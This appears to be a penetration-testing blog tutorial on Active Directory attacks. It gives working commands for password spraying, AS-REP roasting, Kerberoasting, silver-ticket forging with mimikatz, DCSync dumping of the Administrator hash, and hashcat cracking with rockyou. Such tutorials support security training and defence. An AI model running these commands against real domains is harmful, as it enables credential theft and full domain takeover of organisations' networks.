In this post I’ll be outlining a few basic Active Directory attacks including password, AS REP Roasting, Kerberoasting, Silver Tickets and DC Sync attacks. Since Active Directory is used in most enterprise environments, understanding how to perform these can be very powerful and lead to full system takeover.
Password Attacks
We first need to be aware of any lockout policies in place before we attempt password spraying.
net accounts
net accounts /domain
This will output lockout threshold, lockout duration, lockout and observation window.
SMB spraying
crackmapexec smb IP -u users.txt -p 'Pass!' -d domain.com --continue-on-success
Spraying SMB with a short list of passwords
Using Kerbrute
First we need to obtain and cache a Kerberos TGT using the linux tool kinit. We’ll need a valid username and password to obtain this. This technique only uses two UDP frames by sending a AS-REQ and examines the response.
.\kerbrute_windows_amd64.exe passwordspray -d domain.com .\usernames.txt "Winter2017!"
AS-REP Roasting
If the “Do Not Require Kerberos Pre-Authentication” option is enabled, an attacker can send a AS-REQ to the Domain Controller on behalf of any user. After obtaining the AS-REP, an offline password attack can be executed against the encrypted part of the response. This can also be carried out on Windows using Rubeus.
impacket-GetNPUsers -dc-ip <IP> -request -outputfile hashes.asreproast domain.com/user
sudo hashcat -m 18200 hashes.asreproast /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Then using hashcat and the correct mode for Kerberos AS-REP, we can attempt to dictionary crack it.
Kerberoasting
When a user needs access to a resource hosted by a SPN (Service Principal Name), the client requests a service ticket from the Domain Controller. No checks are performed to determine if the user has proper permissions to access the service.
The ticket is encrypted with the SPN’s password hash. If we are successful in obtaining and cracking the ticket, we can use this information to crack the service account password. But if the SPN runs in the context of a krbtgt user account, computer account, managed service account or group-managed service account, the password is randomly generated and 120 characters long.
.\Rubeus.exe kerberoast /outfile:kerberoasting_hashes
This will output any SPN’s connected with a domain user
sudo hashcat -m 13100 kerberoasting_hashes /usr/share/wordlists/rockyou.txt -r /usr/share/hashcat/rules/best64.rule --force
Using hashcat to crack the hashes with rockyou wordlist. Impacket-GetUserSPNs tool can also be used for linux.
Silver Tickets
We can attempt to forge our own service tickets if the user or group permissions are not verified by the application. If we have an service account password or NTLM hash, we can create our own service ticket to access the target resource. In this example we’ll target an HTTP SPN service.
.\mimikatz
privilege::debug
sekurlsa::logonpasswords
Using mimikatz as an administrator
whoami /user
Obtain SID and omit RID of the user
kerberos::golden /sid:<SID> /domain:domain.com /ptt /target:machine.domain.com /service:http /rc4:<hash> /user:user
Using mimikatz golden module can be used for Silver and Golden Ticket attacks. If successful, a new service ticket for the SPN is loaded into memory with appropriate permissions set and the user should now have access to the HTTP resource.
klist
Verifying the ticket in PowerShell
Domain Controller Synchronization
Active Directory Domains usually rely on more than one Domain Controller for redundancy. The Directory Replication Service Remote Protocol can synchronize these controllers. A DC can update itself for specific objects. The DC receiving the request does not validate if it came from a trusted DC, and only checks the SID has appropriate permissions. But the user needs to have permissions Replicating Directory Changes, Replicating Directory Changes All and Replicating Directory Changes in Filtered Set. By default, members of the Domain Admins, Enterprise Admins and Administrators groups have these permissions enabled.
mimikatz
lsadump::dcsync /user:corp\Administrator
Copy NTLM hash
hashcat -m 1000 dcsync_hashes rockyou.txt -r best64.rule --force
Attempt to crack hashes